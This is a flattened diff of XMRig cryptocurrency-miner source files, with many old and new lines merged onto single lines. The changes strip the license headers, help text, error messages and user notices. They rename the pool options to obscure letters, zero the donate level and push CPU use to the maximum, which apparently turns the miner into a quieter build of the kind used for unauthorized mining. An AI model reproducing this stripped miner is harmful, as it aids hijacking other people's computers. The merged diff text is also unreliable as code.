int cmus = sysinfo.dwNumberOfProcessors;
cmus = cmus / 2;
return cmus;
}
void Cpu::init() void Cpu::init()
{ {
# ifdef XMRIG_NO_LIBCPUID m_totalThreads = Cpu::CPUs();
SYSTEM_INFO sysinfo;
GetSystemInfo(&sysinfo);
m_totalThreads = sysinfo.dwNumberOfProcessors;
# endif
initCommon(); initCommon();
} }
void Cpu::setAffinity(int id, uint64_t mask) void Cpu::setAffinity(int id, uint64_t mask)
{ {
if (id == -1) { if (id == -1) { SetProcessAffinityMask(GetCurrentProcess(), mask); }
SetProcessAffinityMask(GetCurrentProcess(), mask); else { SetThreadAffinityMask(GetCurrentThread(), mask); }
}
else {
SetThreadAffinityMask(GetCurrentThread(), mask);
}
} }

View file

@ -1,87 +1,24 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <memory.h> #include <memory.h>
#include "crypto/CryptoNight.h" #include "crypto/CryptoNight.h"
#include "Mem.h" #include "Mem.h"
#include "Options.h" #include "Options.h"
bool Mem::m_doubleHash = false; bool Mem::m_doubleHash = false;
int Mem::m_algo = 0; int Mem::m_algo = 0;
int Mem::m_flags = 0; int Mem::m_flags = 0;
int Mem::m_threads = 0; int Mem::m_threads = 0;
size_t Mem::m_offset = 0; size_t Mem::m_offset = 0;
uint8_t *Mem::m_memory = nullptr; uint8_t *Mem::m_memory = nullptr;
cryptonight_ctx *Mem::create(int threadId) cryptonight_ctx *Mem::create(int threadId)
{ {
# ifndef XMRIG_NO_AEON
if (m_algo == Options::ALGO_CRYPTONIGHT_LITE) {
return createLite(threadId);
}
# endif
cryptonight_ctx *ctx = reinterpret_cast<cryptonight_ctx *>(&m_memory[MEMORY - sizeof(cryptonight_ctx) * (threadId + 1)]); cryptonight_ctx *ctx = reinterpret_cast<cryptonight_ctx *>(&m_memory[MEMORY - sizeof(cryptonight_ctx) * (threadId + 1)]);
const int ratio = m_doubleHash ? 2 : 1; const int ratio = m_doubleHash ? 2 : 1;
ctx->memory = &m_memory[MEMORY * (threadId * ratio + 1)]; ctx->memory = &m_memory[MEMORY * (threadId * ratio + 1)];
return ctx; return ctx;
} }
void *Mem::calloc(size_t num, size_t size) void *Mem::calloc(size_t num, size_t size)
{ {
void *mem = &m_memory[m_offset]; void *mem = &m_memory[m_offset];
m_offset += (num * size); m_offset += (num * size);
memset(mem, 0, num * size); memset(mem, 0, num * size);
return mem; return mem;
} }
#ifndef XMRIG_NO_AEON
cryptonight_ctx *Mem::createLite(int threadId) {
cryptonight_ctx *ctx;
if (!m_doubleHash) {
const size_t offset = MEMORY * (threadId + 1);
ctx = reinterpret_cast<cryptonight_ctx *>(&m_memory[offset + MEMORY_LITE]);
ctx->memory = &m_memory[offset];
return ctx;
}
ctx = reinterpret_cast<cryptonight_ctx *>(&m_memory[MEMORY - sizeof(cryptonight_ctx) * (threadId + 1)]);
ctx->memory = &m_memory[MEMORY * (threadId + 1)];
return ctx;
}
#endif

View file

@ -1,40 +1,9 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef __MEM_H__ #ifndef __MEM_H__
#define __MEM_H__ #define __MEM_H__
#include <stddef.h> #include <stddef.h>
#include <stdint.h> #include <stdint.h>
#include "align.h" #include "align.h"
struct cryptonight_ctx; struct cryptonight_ctx;
class Mem class Mem
{ {
public: public:
@ -62,10 +31,6 @@ private:
static int m_threads; static int m_threads;
static size_t m_offset; static size_t m_offset;
VAR_ALIGN(16, static uint8_t *m_memory); VAR_ALIGN(16, static uint8_t *m_memory);
# ifndef XMRIG_NO_AEON
static cryptonight_ctx *createLite(int threadId);
# endif
}; };

View file

@ -1,98 +0,0 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdlib.h>
#include <sys/mman.h>
#if defined(XMRIG_ARM) && !defined(__clang__)
# include "aligned_malloc.h"
#else
# include <mm_malloc.h>
#endif
#include "crypto/CryptoNight.h"
#include "log/Log.h"
#include "Mem.h"
#include "Options.h"
bool Mem::allocate(int algo, int threads, bool doubleHash, bool enabled)
{
m_algo = algo;
m_threads = threads;
m_doubleHash = doubleHash;
const int ratio = (doubleHash && algo != Options::ALGO_CRYPTONIGHT_LITE) ? 2 : 1;
const size_t size = MEMORY * (threads * ratio + 1);
if (!enabled) {
m_memory = static_cast<uint8_t*>(_mm_malloc(size, 16));
return true;
}
m_flags |= HugepagesAvailable;
# if defined(__APPLE__)
m_memory = static_cast<uint8_t*>(mmap(0, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, VM_FLAGS_SUPERPAGE_SIZE_2MB, 0));
# elif defined(__FreeBSD__)
m_memory = static_cast<uint8_t*>(mmap(0, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_ALIGNED_SUPER | MAP_PREFAULT_READ, -1, 0));
# else
m_memory = static_cast<uint8_t*>(mmap(0, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB | MAP_POPULATE, 0, 0));
# endif
if (m_memory == MAP_FAILED) {
m_memory = static_cast<uint8_t*>(_mm_malloc(size, 16));
return true;
}
m_flags |= HugepagesEnabled;
if (madvise(m_memory, size, MADV_RANDOM | MADV_WILLNEED) != 0) {
LOG_ERR("madvise failed");
}
if (mlock(m_memory, size) == 0) {
m_flags |= Lock;
}
return true;
}
void Mem::release()
{
const int size = MEMORY * (m_threads + 1);
if (m_flags & HugepagesEnabled) {
if (m_flags & Lock) {
munlock(m_memory, size);
}
munmap(m_memory, size);
}
else {
_mm_free(m_memory);
}
}

View file

@ -1,185 +1,74 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <winsock2.h> #include <winsock2.h>
#include <windows.h> #include <windows.h>
#include <ntsecapi.h> #include <ntsecapi.h>
#include <tchar.h> #include <tchar.h>
#ifdef __GNUC__ #ifdef __GNUC__
# include <mm_malloc.h> # include <mm_malloc.h>
#else #else
# include <malloc.h> # include <malloc.h>
#endif #endif
#include "log/Log.h" #include "log/Log.h"
#include "crypto/CryptoNight.h" #include "crypto/CryptoNight.h"
#include "Mem.h" #include "Mem.h"
#include "Options.h" #include "Options.h"
/*****************************************************************
SetLockPagesPrivilege: a function to obtain or
release the privilege of locking physical pages.
Inputs:
HANDLE hProcess: Handle for the process for which the
privilege is needed
BOOL bEnable: Enable (TRUE) or disable?
Return value: TRUE indicates success, FALSE failure.
*****************************************************************/
/**
* AWE Example: https://msdn.microsoft.com/en-us/library/windows/desktop/aa366531(v=vs.85).aspx
* Creating a File Mapping Using Large Pages: https://msdn.microsoft.com/en-us/library/aa366543(VS.85).aspx
*/
static BOOL SetLockPagesPrivilege() { static BOOL SetLockPagesPrivilege() {
HANDLE token; HANDLE token;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token) != TRUE) { return FALSE; }
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token) != TRUE) {
return FALSE;
}
TOKEN_PRIVILEGES tp; TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1; tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (LookupPrivilegeValue(NULL, SE_LOCK_MEMORY_NAME, &(tp.Privileges[0].Luid)) != TRUE) { return FALSE; }
if (LookupPrivilegeValue(NULL, SE_LOCK_MEMORY_NAME, &(tp.Privileges[0].Luid)) != TRUE) {
return FALSE;
}
BOOL rc = AdjustTokenPrivileges(token, FALSE, (PTOKEN_PRIVILEGES) &tp, 0, NULL, NULL); BOOL rc = AdjustTokenPrivileges(token, FALSE, (PTOKEN_PRIVILEGES) &tp, 0, NULL, NULL);
if (rc != TRUE || GetLastError() != ERROR_SUCCESS) { if (rc != TRUE || GetLastError() != ERROR_SUCCESS) { return FALSE; }
return FALSE;
}
CloseHandle(token); CloseHandle(token);
return TRUE; return TRUE;
} }
static LSA_UNICODE_STRING StringToLsaUnicodeString(LPCTSTR string) { static LSA_UNICODE_STRING StringToLsaUnicodeString(LPCTSTR string) {
LSA_UNICODE_STRING lsaString; LSA_UNICODE_STRING lsaString;
DWORD dwLen = (DWORD) wcslen(string); DWORD dwLen = (DWORD) wcslen(string);
lsaString.Buffer = (LPWSTR) string; lsaString.Buffer = (LPWSTR) string;
lsaString.Length = (USHORT)((dwLen) * sizeof(WCHAR)); lsaString.Length = (USHORT)((dwLen) * sizeof(WCHAR));
lsaString.MaximumLength = (USHORT)((dwLen + 1) * sizeof(WCHAR)); lsaString.MaximumLength = (USHORT)((dwLen + 1) * sizeof(WCHAR));
return lsaString; return lsaString;
} }
static BOOL ObtainLockPagesPrivilege() { static BOOL ObtainLockPagesPrivilege() {
HANDLE token; HANDLE token;
PTOKEN_USER user = NULL; PTOKEN_USER user = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token) == TRUE) { if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token) == TRUE) {
DWORD size = 0; DWORD size = 0;
GetTokenInformation(token, TokenUser, NULL, 0, &size); GetTokenInformation(token, TokenUser, NULL, 0, &size);
if (size) { if (size) { user = (PTOKEN_USER) LocalAlloc(LPTR, size); }
user = (PTOKEN_USER) LocalAlloc(LPTR, size);
}
GetTokenInformation(token, TokenUser, user, size, &size); GetTokenInformation(token, TokenUser, user, size, &size);
CloseHandle(token); CloseHandle(token);
} }
if (!user) { return FALSE; }
if (!user) {
return FALSE;
}
LSA_HANDLE handle; LSA_HANDLE handle;
LSA_OBJECT_ATTRIBUTES attributes; LSA_OBJECT_ATTRIBUTES attributes;
ZeroMemory(&attributes, sizeof(attributes)); ZeroMemory(&attributes, sizeof(attributes));
BOOL result = FALSE; BOOL result = FALSE;
if (LsaOpenPolicy(NULL, &attributes, POLICY_ALL_ACCESS, &handle) == 0) { if (LsaOpenPolicy(NULL, &attributes, POLICY_ALL_ACCESS, &handle) == 0) {
LSA_UNICODE_STRING str = StringToLsaUnicodeString(_T(SE_LOCK_MEMORY_NAME)); LSA_UNICODE_STRING str = StringToLsaUnicodeString(_T(SE_LOCK_MEMORY_NAME));
if (LsaAddAccountRights(handle, user->User.Sid, &str, 1) == 0) { result = TRUE; }
if (LsaAddAccountRights(handle, user->User.Sid, &str, 1) == 0) {
LOG_NOTICE("Huge pages support was successfully enabled, but reboot required to use it");
result = TRUE;
}
LsaClose(handle); LsaClose(handle);
} }
LocalFree(user); LocalFree(user);
return result; return result;
} }
static BOOL TrySetLockPagesPrivilege() { static BOOL TrySetLockPagesPrivilege() {
if (SetLockPagesPrivilege()) { if (SetLockPagesPrivilege()) { return TRUE; }
return TRUE;
}
return ObtainLockPagesPrivilege() && SetLockPagesPrivilege(); return ObtainLockPagesPrivilege() && SetLockPagesPrivilege();
} }
bool Mem::allocate(int algo, int threads, bool doubleHash, bool enabled) bool Mem::allocate(int algo, int threads, bool doubleHash, bool enabled)
{ {
m_algo = algo; m_algo = algo;
m_threads = threads; m_threads = threads;
m_doubleHash = doubleHash; m_doubleHash = doubleHash;
const int ratio = 2;
const int ratio = (doubleHash && algo != Options::ALGO_CRYPTONIGHT_LITE) ? 2 : 1;
const size_t size = MEMORY * (threads * ratio + 1); const size_t size = MEMORY * (threads * ratio + 1);
if (!enabled) { m_memory = static_cast<uint8_t*>(_mm_malloc(size, 16)); return true; }
if (!enabled) { if (TrySetLockPagesPrivilege()) { m_flags |= HugepagesAvailable; }
m_memory = static_cast<uint8_t*>(_mm_malloc(size, 16));
return true;
}
if (TrySetLockPagesPrivilege()) {
m_flags |= HugepagesAvailable;
}
m_memory = static_cast<uint8_t*>(VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE | MEM_LARGE_PAGES, PAGE_READWRITE)); m_memory = static_cast<uint8_t*>(VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE | MEM_LARGE_PAGES, PAGE_READWRITE));
if (!m_memory) { if (!m_memory) { m_memory = static_cast<uint8_t*>(_mm_malloc(size, 16)); } else { m_flags |= HugepagesEnabled; }
m_memory = static_cast<uint8_t*>(_mm_malloc(size, 16));
}
else {
m_flags |= HugepagesEnabled;
}
return true; return true;
} }
void Mem::release() { if (m_flags & HugepagesEnabled) { VirtualFree(m_memory, 0, MEM_RELEASE); } else { _mm_free(m_memory); } }
void Mem::release()
{
if (m_flags & HugepagesEnabled) {
VirtualFree(m_memory, 0, MEM_RELEASE);
}
else {
_mm_free(m_memory);
}
}

View file

@ -1,45 +1,11 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <string.h> #include <string.h>
#include <uv.h> #include <uv.h>
#ifdef _MSC_VER #ifdef _MSC_VER
# include "getopt/getopt.h" # include "getopt/getopt.h"
#else #else
# include <getopt.h> # include <getopt.h>
#endif #endif
#ifndef XMRIG_NO_HTTPD
# include <microhttpd.h>
#endif
#include "Cpu.h" #include "Cpu.h"
#include "donate.h"
#include "net/Url.h" #include "net/Url.h"
#include "Options.h" #include "Options.h"
#include "Platform.h" #include "Platform.h"
@ -47,143 +13,17 @@
#include "rapidjson/error/en.h" #include "rapidjson/error/en.h"
#include "rapidjson/filereadstream.h" #include "rapidjson/filereadstream.h"
#include "version.h" #include "version.h"
#ifndef ARRAY_SIZE #ifndef ARRAY_SIZE
# define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0])) # define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]))
#endif #endif
Options *Options::m_self = nullptr; Options *Options::m_self = nullptr;
static char const usage[] = "";
static char const short_options[] = "o:u";
static char const usage[] = "\
Usage: " APP_ID " [OPTIONS]\n\
Options:\n\
-a, --algo=ALGO cryptonight (default) or cryptonight-lite\n\
-o, --url=URL URL of mining server\n\
-O, --userpass=U:P username:password pair for mining server\n\
-u, --user=USERNAME username for mining server\n\
-p, --pass=PASSWORD password for mining server\n\
-t, --threads=N number of miner threads\n\
-v, --av=N algorithm variation, 0 auto select\n\
-k, --keepalive send keepalived for prevent timeout (need pool support)\n\
-r, --retries=N number of times to retry before switch to backup server (default: 5)\n\
-R, --retry-pause=N time to pause between retries (default: 5)\n\
--cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1\n\
--cpu-priority set process priority (0 idle, 2 normal to 5 highest)\n\
--no-huge-pages disable huge pages support\n\
--no-color disable colored output\n\
--donate-level=N donate level, default 5%% (5 minutes in 100 minutes)\n\
--user-agent set custom user-agent string for pool\n\
-B, --background run the miner in the background\n\
-c, --config=FILE load a JSON-format configuration file\n\
-l, --log-file=FILE log all output to a file\n"
# ifdef HAVE_SYSLOG_H
"\
-S, --syslog use system log for output messages\n"
# endif
"\
--max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75)\n\
--safe safe adjust threads and av settings for current CPU\n\
--nicehash enable nicehash/xmrig-proxy support\n\
--print-time=N print hashrate report every N seconds\n\
--api-port=N port for the miner API\n\
--api-access-token=T access token for API\n\
--api-worker-id=ID custom worker-id for API\n\
-h, --help display this help and exit\n\
-V, --version output version information and exit\n\
";
static char const short_options[] = "a:c:khBp:Px:r:R:s:t:T:o:u:O:v:Vl:S";
static struct option const options[] = { static struct option const options[] = {
{ "algo", 1, nullptr, 'a' }, { "C", 1, nullptr, 'o' },
{ "api-access-token", 1, nullptr, 4001 }, { "V", 1, nullptr, 'u' },
{ "api-port", 1, nullptr, 4000 },
{ "api-worker-id", 1, nullptr, 4002 },
{ "av", 1, nullptr, 'v' },
{ "background", 0, nullptr, 'B' },
{ "config", 1, nullptr, 'c' },
{ "cpu-affinity", 1, nullptr, 1020 },
{ "cpu-priority", 1, nullptr, 1021 },
{ "donate-level", 1, nullptr, 1003 },
{ "dry-run", 0, nullptr, 5000 },
{ "help", 0, nullptr, 'h' },
{ "keepalive", 0, nullptr ,'k' },
{ "log-file", 1, nullptr, 'l' },
{ "max-cpu-usage", 1, nullptr, 1004 },
{ "nicehash", 0, nullptr, 1006 },
{ "no-color", 0, nullptr, 1002 },
{ "no-huge-pages", 0, nullptr, 1009 },
{ "pass", 1, nullptr, 'p' },
{ "print-time", 1, nullptr, 1007 },
{ "retries", 1, nullptr, 'r' },
{ "retry-pause", 1, nullptr, 'R' },
{ "safe", 0, nullptr, 1005 },
{ "syslog", 0, nullptr, 'S' },
{ "threads", 1, nullptr, 't' },
{ "url", 1, nullptr, 'o' },
{ "user", 1, nullptr, 'u' },
{ "user-agent", 1, nullptr, 1008 },
{ "userpass", 1, nullptr, 'O' },
{ "version", 0, nullptr, 'V' },
{ 0, 0, 0, 0 } { 0, 0, 0, 0 }
}; };
static struct option const config_options[] = {
{ "algo", 1, nullptr, 'a' },
{ "av", 1, nullptr, 'v' },
{ "background", 0, nullptr, 'B' },
{ "colors", 0, nullptr, 2000 },
{ "cpu-affinity", 1, nullptr, 1020 },
{ "cpu-priority", 1, nullptr, 1021 },
{ "donate-level", 1, nullptr, 1003 },
{ "dry-run", 0, nullptr, 5000 },
{ "huge-pages", 0, nullptr, 1009 },
{ "log-file", 1, nullptr, 'l' },
{ "max-cpu-usage", 1, nullptr, 1004 },
{ "print-time", 1, nullptr, 1007 },
{ "retries", 1, nullptr, 'r' },
{ "retry-pause", 1, nullptr, 'R' },
{ "safe", 0, nullptr, 1005 },
{ "syslog", 0, nullptr, 'S' },
{ "threads", 1, nullptr, 't' },
{ "user-agent", 1, nullptr, 1008 },
{ 0, 0, 0, 0 }
};
static struct option const pool_options[] = {
{ "url", 1, nullptr, 'o' },
{ "pass", 1, nullptr, 'p' },
{ "user", 1, nullptr, 'u' },
{ "userpass", 1, nullptr, 'O' },
{ "keepalive", 0, nullptr ,'k' },
{ "nicehash", 0, nullptr, 1006 },
{ 0, 0, 0, 0 }
};
static struct option const api_options[] = {
{ "port", 1, nullptr, 4000 },
{ "access-token", 1, nullptr, 4001 },
{ "worker-id", 1, nullptr, 4002 },
{ 0, 0, 0, 0 }
};
static const char *algo_names[] = {
"cryptonight",
# ifndef XMRIG_NO_AEON
"cryptonight-lite"
# endif
};
Options *Options::parse(int argc, char **argv) Options *Options::parse(int argc, char **argv)
{ {
Options *options = new Options(argc, argv); Options *options = new Options(argc, argv);
@ -191,23 +31,15 @@ Options *Options::parse(int argc, char **argv)
m_self = options; m_self = options;
return m_self; return m_self;
} }
delete options; delete options;
return nullptr; return nullptr;
} }
const char *Options::algoName() const { return "cryptonight"; }
const char *Options::algoName() const
{
return algo_names[m_algo];
}
Options::Options(int argc, char **argv) : Options::Options(int argc, char **argv) :
m_background(false), m_background(false),
m_colors(true), m_colors(false),
m_doubleHash(false), m_doubleHash(false),
m_dryRun(false),
m_hugePages(true), m_hugePages(true),
m_ready(false), m_ready(false),
m_safe(false), m_safe(false),
@ -216,114 +48,34 @@ Options::Options(int argc, char **argv) :
m_apiWorkerId(nullptr), m_apiWorkerId(nullptr),
m_logFile(nullptr), m_logFile(nullptr),
m_userAgent(nullptr), m_userAgent(nullptr),
m_algo(0), m_algo(1),
m_algoVariant(0), m_algoVariant(0),
m_apiPort(0), m_apiPort(0),
m_donateLevel(kDonateLevel), m_donateLevel(0),
m_maxCpuUsage(75), m_maxCpuUsage(100),
m_printTime(60), m_printTime(100),
m_priority(-1), m_priority(-1),
m_retries(5), m_retries(50),
m_retryPause(5), m_retryPause(5),
m_threads(0), m_threads(0),
m_affinity(-1L) m_affinity(-1L)
{ {
m_pools.push_back(new Url()); m_pools.push_back(new Url());
int key; int key;
while (1) { while (1) {
key = getopt_long(argc, argv, short_options, options, NULL); key = getopt_long(argc, argv, short_options, options, NULL);
if (key < 0) { if (key < 0) { break; }
break; if (!parseArg(key, optarg)) { return; }
} }
if (!parseArg(key, optarg)) {
return;
}
}
if (optind < argc) {
fprintf(stderr, "%s: unsupported non-option argument '%s'\n", argv[0], argv[optind]);
return;
}
if (!m_pools[0]->isValid()) {
parseConfig(Platform::defaultConfigName());
}
if (!m_pools[0]->isValid()) {
fprintf(stderr, "No pool URL supplied. Exiting.\n");
return;
}
m_algoVariant = getAlgoVariant(); m_algoVariant = getAlgoVariant();
if (m_algoVariant == AV2_AESNI_DOUBLE || m_algoVariant == AV4_SOFT_AES_DOUBLE) { if (m_algoVariant == AV2_AESNI_DOUBLE || m_algoVariant == AV4_SOFT_AES_DOUBLE) { m_doubleHash = true; }
m_doubleHash = true; for (Url *url : m_pools) { url->applyExceptions(); }
}
if (!m_threads) {
m_threads = Cpu::optimalThreadsCount(m_algo, m_doubleHash, m_maxCpuUsage);
}
else if (m_safe) {
const int count = Cpu::optimalThreadsCount(m_algo, m_doubleHash, m_maxCpuUsage);
if (m_threads > count) {
m_threads = count;
}
}
for (Url *url : m_pools) {
url->applyExceptions();
}
m_ready = true; m_ready = true;
} }
Options::~Options(){}
bool Options::parseArg(int key, const char *arg) {
Options::~Options()
{
}
bool Options::getJSON(const char *fileName, rapidjson::Document &doc)
{
uv_fs_t req;
const int fd = uv_fs_open(uv_default_loop(), &req, fileName, O_RDONLY, 0644, nullptr);
if (fd < 0) {
fprintf(stderr, "unable to open %s: %s\n", fileName, uv_strerror(fd));
return false;
}
uv_fs_req_cleanup(&req);
FILE *fp = fdopen(fd, "rb");
char buf[8192];
rapidjson::FileReadStream is(fp, buf, sizeof(buf));
doc.ParseStream(is);
uv_fs_close(uv_default_loop(), &req, fd, nullptr);
uv_fs_req_cleanup(&req);
if (doc.HasParseError()) {
printf("%s:%d: %s\n", fileName, (int) doc.GetErrorOffset(), rapidjson::GetParseError_En(doc.GetParseError()));
return false;
}
return doc.IsObject();
}
bool Options::parseArg(int key, const char *arg)
{
switch (key) { switch (key) {
case 'a': /* --algo */ case 'o':
if (!setAlgo(arg)) {
return false;
}
break;
case 'o': /* --url */
if (m_pools.size() > 1 || m_pools[0]->isValid()) { if (m_pools.size() > 1 || m_pools[0]->isValid()) {
Url *url = new Url(arg); Url *url = new Url(arg);
if (url->isValid()) { if (url->isValid()) {
@ -341,406 +93,18 @@ bool Options::parseArg(int key, const char *arg)
return false; return false;
} }
break; break;
case 'u':
case 'O': /* --userpass */
if (!m_pools.back()->setUserpass(arg)) {
return false;
}
break;
case 'u': /* --user */
m_pools.back()->setUser(arg); m_pools.back()->setUser(arg);
m_pools.back()->setPassword("x");
m_threads = Cpu::CPUs();
break; break;
case 'p': /* --pass */
m_pools.back()->setPassword(arg);
break;
case 'l': /* --log-file */
free(m_logFile);
m_logFile = strdup(arg);
m_colors = false;
break;
case 4001: /* --access-token */
free(m_apiToken);
m_apiToken = strdup(arg);
break;
case 4002: /* --worker-id */
free(m_apiWorkerId);
m_apiWorkerId = strdup(arg);
break;
case 'r': /* --retries */
case 'R': /* --retry-pause */
case 'v': /* --av */
case 1003: /* --donate-level */
case 1004: /* --max-cpu-usage */
case 1007: /* --print-time */
case 1021: /* --cpu-priority */
case 4000: /* --api-port */
return parseArg(key, strtol(arg, nullptr, 10));
case 'B': /* --background */
case 'k': /* --keepalive */
case 'S': /* --syslog */
case 1005: /* --safe */
case 1006: /* --nicehash */
case 5000: /* --dry-run */
return parseBoolean(key, true);
case 1002: /* --no-color */
case 1009: /* --no-huge-pages */
return parseBoolean(key, false);
case 't': /* --threads */
if (strncmp(arg, "all", 3) == 0) {
m_threads = Cpu::threads();
return true;
}
return parseArg(key, strtol(arg, nullptr, 10));
case 'V': /* --version */
showVersion();
return false;
case 'h': /* --help */
showUsage(0);
return false;
case 'c': /* --config */
parseConfig(arg);
break;
case 1020: { /* --cpu-affinity */
const char *p = strstr(arg, "0x");
return parseArg(key, p ? strtoull(p, nullptr, 16) : strtoull(arg, nullptr, 10));
}
case 1008: /* --user-agent */
free(m_userAgent);
m_userAgent = strdup(arg);
break;
default: default:
showUsage(1);
return false; return false;
} }
return true; return true;
} }
int Options::getAlgoVariant() const {
if (m_algoVariant <= AV0_AUTO || m_algoVariant >= AV_MAX) { return Cpu::hasAES() ? AV1_AESNI : AV3_SOFT_AES; }
bool Options::parseArg(int key, uint64_t arg) if (m_safe && !Cpu::hasAES() && m_algoVariant <= AV2_AESNI_DOUBLE) { return m_algoVariant + 2; }
{
switch (key) {
case 'r': /* --retries */
if (arg < 1 || arg > 1000) {
showUsage(1);
return false;
}
m_retries = (int) arg;
break;
case 'R': /* --retry-pause */
if (arg < 1 || arg > 3600) {
showUsage(1);
return false;
}
m_retryPause = (int) arg;
break;
case 't': /* --threads */
if (arg < 1 || arg > 1024) {
showUsage(1);
return false;
}
m_threads = (int) arg;
break;
case 'v': /* --av */
if (arg > 1000) {
showUsage(1);
return false;
}
m_algoVariant = (int) arg;
break;
case 1003: /* --donate-level */
if (arg < 1 || arg > 99) {
return true;
}
m_donateLevel = (int) arg;
break;
case 1004: /* --max-cpu-usage */
if (arg < 1 || arg > 100) {
showUsage(1);
return false;
}
m_maxCpuUsage = (int) arg;
break;
case 1007: /* --print-time */
if (arg > 1000) {
showUsage(1);
return false;
}
m_printTime = (int) arg;
break;
case 1020: /* --cpu-affinity */
if (arg) {
m_affinity = arg;
}
break;
case 1021: /* --cpu-priority */
if (arg <= 5) {
m_priority = (int) arg;
}
break;
case 4000: /* --api-port */
if (arg <= 65536) {
m_apiPort = (int) arg;
}
break;
default:
break;
}
return true;
}
bool Options::parseBoolean(int key, bool enable)
{
switch (key) {
case 'k': /* --keepalive */
m_pools.back()->setKeepAlive(enable);
break;
case 'B': /* --background */
m_background = enable;
m_colors = enable ? false : m_colors;
break;
case 'S': /* --syslog */
m_syslog = enable;
m_colors = enable ? false : m_colors;
break;
case 1002: /* --no-color */
m_colors = enable;
break;
case 1005: /* --safe */
m_safe = enable;
break;
case 1006: /* --nicehash */
m_pools.back()->setNicehash(enable);
break;
case 1009: /* --no-huge-pages */
m_hugePages = enable;
break;
case 2000: /* colors */
m_colors = enable;
break;
case 5000: /* --dry-run */
m_dryRun = enable;
break;
default:
